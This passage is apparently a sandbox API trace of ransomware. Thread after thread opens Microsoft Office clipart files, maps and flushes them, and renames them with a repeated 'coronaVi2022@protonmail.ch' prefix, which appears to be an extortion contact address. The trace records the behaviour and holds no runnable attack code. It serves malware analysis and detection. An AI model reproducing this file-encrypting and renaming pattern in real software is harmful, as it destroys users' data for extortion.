	[0093.916] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.916] CloseHandle (hObject=0xad0) returned 1
	[0093.916] GetCurrentThreadId () returned 0x1884
	[0093.916] FlushFileBuffers (hFile=0xacc) returned 1
	[0093.918] CloseHandle (hObject=0xacc) returned 1
	[0093.918] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 213
	[0093.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif")) returned 1
	[0093.919] free (_Block=0x51f1078) 
	[0093.919] RtlExitUserThread (Status=0x0) 

Thread:
	id = 519
	os_tid = 0x1888

	[0093.920] _alloca_probe () returned 0x40328a
	[0093.921] GetCurrentThreadId () returned 0x1888
	[0093.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", dwFileAttributes=0x80) returned 1
	[0093.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0
	[0093.921] GetFileSizeEx (in: hFile=0xad0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5265) returned 1
	[0093.921] CreateFileMappingA (hFile=0xad0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1491, lpName=0x0) returned 0xad4
	[0093.921] MapViewOfFile (hFileMappingObject=0xad4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.923] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.923] CloseHandle (hObject=0xad4) returned 1
	[0093.923] GetCurrentThreadId () returned 0x1888
	[0093.923] FlushFileBuffers (hFile=0xad0) returned 1
	[0093.925] CloseHandle (hObject=0xad0) returned 1
	[0093.926] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 213
	[0093.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif")) returned 1
	[0093.927] free (_Block=0x51f3088) 
	[0093.927] RtlExitUserThread (Status=0x0) 

Thread:
	id = 520
	os_tid = 0x188c

	[0093.928] _alloca_probe () returned 0x40328a
	[0093.929] GetCurrentThreadId () returned 0x188c
	[0093.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", dwFileAttributes=0x80) returned 1
	[0093.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4
	[0093.929] GetFileSizeEx (in: hFile=0xad4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2625) returned 1
	[0093.929] CreateFileMappingA (hFile=0xad4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa41, lpName=0x0) returned 0xad8
	[0093.929] MapViewOfFile (hFileMappingObject=0xad8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.930] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.930] CloseHandle (hObject=0xad8) returned 1
	[0093.930] GetCurrentThreadId () returned 0x188c
	[0093.930] FlushFileBuffers (hFile=0xad4) returned 1
	[0093.934] CloseHandle (hObject=0xad4) returned 1
	[0093.934] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 213
	[0093.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif")) returned 1
	[0093.935] free (_Block=0x51f3088) 
	[0093.935] RtlExitUserThread (Status=0x0) 

Thread:
	id = 521
	os_tid = 0x1890

	[0093.936] _alloca_probe () returned 0x40328a
	[0093.937] GetCurrentThreadId () returned 0x1890
	[0093.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", dwFileAttributes=0x80) returned 1
	[0093.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad8
	[0093.937] GetFileSizeEx (in: hFile=0xad8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=10641) returned 1
	[0093.937] CreateFileMappingA (hFile=0xad8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2991, lpName=0x0) returned 0xadc
	[0093.937] MapViewOfFile (hFileMappingObject=0xadc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.940] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.940] CloseHandle (hObject=0xadc) returned 1
	[0093.940] GetCurrentThreadId () returned 0x1890
	[0093.940] FlushFileBuffers (hFile=0xad8) returned 1
	[0093.942] CloseHandle (hObject=0xad8) returned 1
	[0093.942] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 213
	[0093.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif")) returned 1
	[0093.943] free (_Block=0x51f60a0) 
	[0093.943] RtlExitUserThread (Status=0x0) 

Thread:
	id = 522
	os_tid = 0x1894

	[0093.945] _alloca_probe () returned 0x40328a
	[0093.945] GetCurrentThreadId () returned 0x1894
	[0093.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", dwFileAttributes=0x80) returned 1
	[0093.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xadc
	[0093.945] GetFileSizeEx (in: hFile=0xadc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15345) returned 1
	[0093.946] CreateFileMappingA (hFile=0xadc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bf1, lpName=0x0) returned 0xae0
	[0093.946] MapViewOfFile (hFileMappingObject=0xae0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.949] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.949] CloseHandle (hObject=0xae0) returned 1
	[0093.949] GetCurrentThreadId () returned 0x1894
	[0093.949] FlushFileBuffers (hFile=0xadc) returned 1
	[0093.951] CloseHandle (hObject=0xadc) returned 1
	[0093.951] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 213
	[0093.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif")) returned 1
	[0093.952] free (_Block=0x51f4090) 
	[0093.952] RtlExitUserThread (Status=0x0) 

Thread:
	id = 523
	os_tid = 0x1898

	[0093.953] _alloca_probe () returned 0x40328a
	[0093.954] GetCurrentThreadId () returned 0x1898
	[0093.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", dwFileAttributes=0x80) returned 1
	[0093.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xae0
	[0093.954] GetFileSizeEx (in: hFile=0xae0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5329) returned 1
	[0093.954] CreateFileMappingA (hFile=0xae0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14d1, lpName=0x0) returned 0xae4
	[0093.954] MapViewOfFile (hFileMappingObject=0xae4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.956] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.956] CloseHandle (hObject=0xae4) returned 1
	[0093.956] GetCurrentThreadId () returned 0x1898
	[0093.956] FlushFileBuffers (hFile=0xae0) returned 1
	[0093.958] CloseHandle (hObject=0xae0) returned 1
	[0093.958] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 213
	[0093.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif")) returned 1
	[0093.959] free (_Block=0x51f5098) 
	[0093.959] RtlExitUserThread (Status=0x0) 

Thread:
	id = 524
	os_tid = 0x189c

	[0093.961] _alloca_probe () returned 0x40328a
	[0093.961] GetCurrentThreadId () returned 0x189c
	[0093.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", dwFileAttributes=0x80) returned 1
	[0093.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xae4
	[0093.962] GetFileSizeEx (in: hFile=0xae4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4977) returned 1
	[0093.962] CreateFileMappingA (hFile=0xae4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1371, lpName=0x0) returned 0xae8
	[0093.962] MapViewOfFile (hFileMappingObject=0xae8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.965] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.965] CloseHandle (hObject=0xae8) returned 1
	[0093.965] GetCurrentThreadId () returned 0x189c
	[0093.965] FlushFileBuffers (hFile=0xae4) returned 1
	[0093.967] CloseHandle (hObject=0xae4) returned 1
	[0093.967] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 213
	[0093.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif")) returned 1
	[0093.968] free (_Block=0x51f5098) 
	[0093.968] RtlExitUserThread (Status=0x0) 

Thread:
	id = 525
	os_tid = 0x18a0

	[0093.969] _alloca_probe () returned 0x40328a
	[0093.970] GetCurrentThreadId () returned 0x18a0
	[0093.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", dwFileAttributes=0x80) returned 1
	[0093.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xae8
	[0093.971] GetFileSizeEx (in: hFile=0xae8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5057) returned 1
	[0093.971] CreateFileMappingA (hFile=0xae8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c1, lpName=0x0) returned 0xaec
	[0093.971] MapViewOfFile (hFileMappingObject=0xaec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.972] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.972] CloseHandle (hObject=0xaec) returned 1
	[0093.972] GetCurrentThreadId () returned 0x18a0
	[0093.972] FlushFileBuffers (hFile=0xae8) returned 1
	[0093.974] CloseHandle (hObject=0xae8) returned 1
	[0093.974] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 213
	[0093.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif")) returned 1
	[0093.975] free (_Block=0x51f3088) 
	[0093.975] RtlExitUserThread (Status=0x0) 

Thread:
	id = 526
	os_tid = 0x18a4

	[0093.977] _alloca_probe () returned 0x40328a
	[0093.977] GetCurrentThreadId () returned 0x18a4
	[0093.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", dwFileAttributes=0x80) returned 1
	[0093.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaec
	[0093.978] GetFileSizeEx (in: hFile=0xaec, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1169) returned 1
	[0093.978] CreateFileMappingA (hFile=0xaec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x491, lpName=0x0) returned 0xaf0
	[0093.978] MapViewOfFile (hFileMappingObject=0xaf0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.979] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.979] CloseHandle (hObject=0xaf0) returned 1
	[0093.979] GetCurrentThreadId () returned 0x18a4
	[0093.979] FlushFileBuffers (hFile=0xaec) returned 1
	[0093.985] CloseHandle (hObject=0xaec) returned 1
	[0093.985] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 213
	[0093.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif")) returned 1
	[0093.986] free (_Block=0x51f4090) 
	[0093.986] RtlExitUserThread (Status=0x0) 

Thread:
	id = 527
	os_tid = 0x18a8

	[0093.983] _alloca_probe () returned 0x40328a
	[0093.984] GetCurrentThreadId () returned 0x18a8
	[0093.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", dwFileAttributes=0x80) returned 1
